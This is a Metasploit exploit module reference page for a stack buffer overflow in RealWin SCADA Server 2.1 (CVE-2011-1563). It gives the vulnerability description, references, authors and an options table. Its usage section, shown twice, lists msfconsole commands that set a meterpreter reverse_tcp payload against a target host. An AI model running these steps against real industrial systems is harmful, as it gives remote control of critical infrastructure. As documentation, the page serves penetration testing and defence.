DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow
This module exploits a vulnerability found in DATAC Control International RealWin SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE packet via port 910, RealWin will try to create a file (which would be saved to C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user- supplied filename with a inline memcpy routine without proper bounds checking, which results a stack-based buffer overflow, allowing arbitrary remote code execution. Tested version: 2.0 (Build 6.1.8.10)
Exploit Rank
- Great
Exploit Authors
- Luigi Auriemma < >
- MC < mc [at] metasploit.com >
Vulnerability References
- CVE-2011-1563
- OSVDB-72826
- BID-46937
- http://aluigi.altervista.org/adv/realwin_5-adv.txt
- http://www.us-cert.gov/control_systems/pdf/ICSA-11-110-01.pdf
Exploit Targets
- 0 - Universal (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/scada/citect_scada_odbc
- exploit/windows/scada/codesys_web_server
- exploit/windows/scada/daq_factory_bof
- exploit/windows/scada/factorylink_csservice
- exploit/windows/scada/factorylink_vrn_09
- exploit/windows/scada/iconics_genbroker
- exploit/windows/scada/iconics_webhmi_setactivexguid
- exploit/windows/scada/igss9_igssdataserver_listall
- exploit/windows/scada/igss9_igssdataserver_rename
- exploit/windows/scada/igss9_misc
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/realwin_on_fc_binfile_a
msf exploit(realwin_on_fc_binfile_a) > show payloads
msf exploit(realwin_on_fc_binfile_a) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(realwin_on_fc_binfile_a) > set LHOST [MY IP ADDRESS]
msf exploit(realwin_on_fc_binfile_a) > set RHOST [TARGET IP]
msf exploit(realwin_on_fc_binfile_a) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/scada/realwin_on_fc_binfile_a
msf exploit(realwin_on_fc_binfile_a) > show payloads
msf exploit(realwin_on_fc_binfile_a) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(realwin_on_fc_binfile_a) > set LHOST [MY IP ADDRESS]
msf exploit(realwin_on_fc_binfile_a) > set RHOST [TARGET IP]
msf exploit(realwin_on_fc_binfile_a) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 910) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| DynamicSehRecord | Generate a dynamic SEH record (more stealthy) |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
